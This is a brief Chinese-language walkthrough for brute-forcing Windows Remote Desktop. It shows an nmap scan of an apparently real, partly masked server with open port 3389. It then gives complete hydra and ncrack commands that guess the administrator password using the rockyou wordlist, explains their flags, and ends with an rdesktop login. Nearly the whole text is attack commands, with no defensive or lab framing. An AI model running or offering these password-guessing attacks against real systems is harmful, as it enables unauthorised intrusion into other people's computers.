RDP是远程桌面协议。
$ nmap your_target
Starting Nmap 7.01 ( https://nmap.org ) at 2016-09-20 17:29 CST
Nmap scan report for ns514636.ip-192-95-xx.net (192.95.xx.xx)
Host is up (0.28s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
3389/tcp open ms-wbt-server # 这个是远程桌面端口
4444/tcp filtered krb524
6667/tcp filtered irc
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49163/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.14 seconds
使用hydra暴力破解：
hydra -t 4 -V -l administrator -P /usr/share/wordlists/rockyou.txt rdp://your_target
-t = TASKS run TASKS number of connects in parallel (per host, default: 16) RDP set to maximum of 4.
-V = Verbose shows you the attempted passwords.
-l = Username
-P = Password list
rdp:// = Port 3389
使用ncrack暴力破解：
ncrack -p 3389 -v -user administrator -P /usr/share/wordlists/rockyou.txt 192.95.xx.xx
-p = Port number
-v = Verbose shows you any found passwords in realtime
-user = username
-P = Password list
远程桌面登录：
rdesktop your_target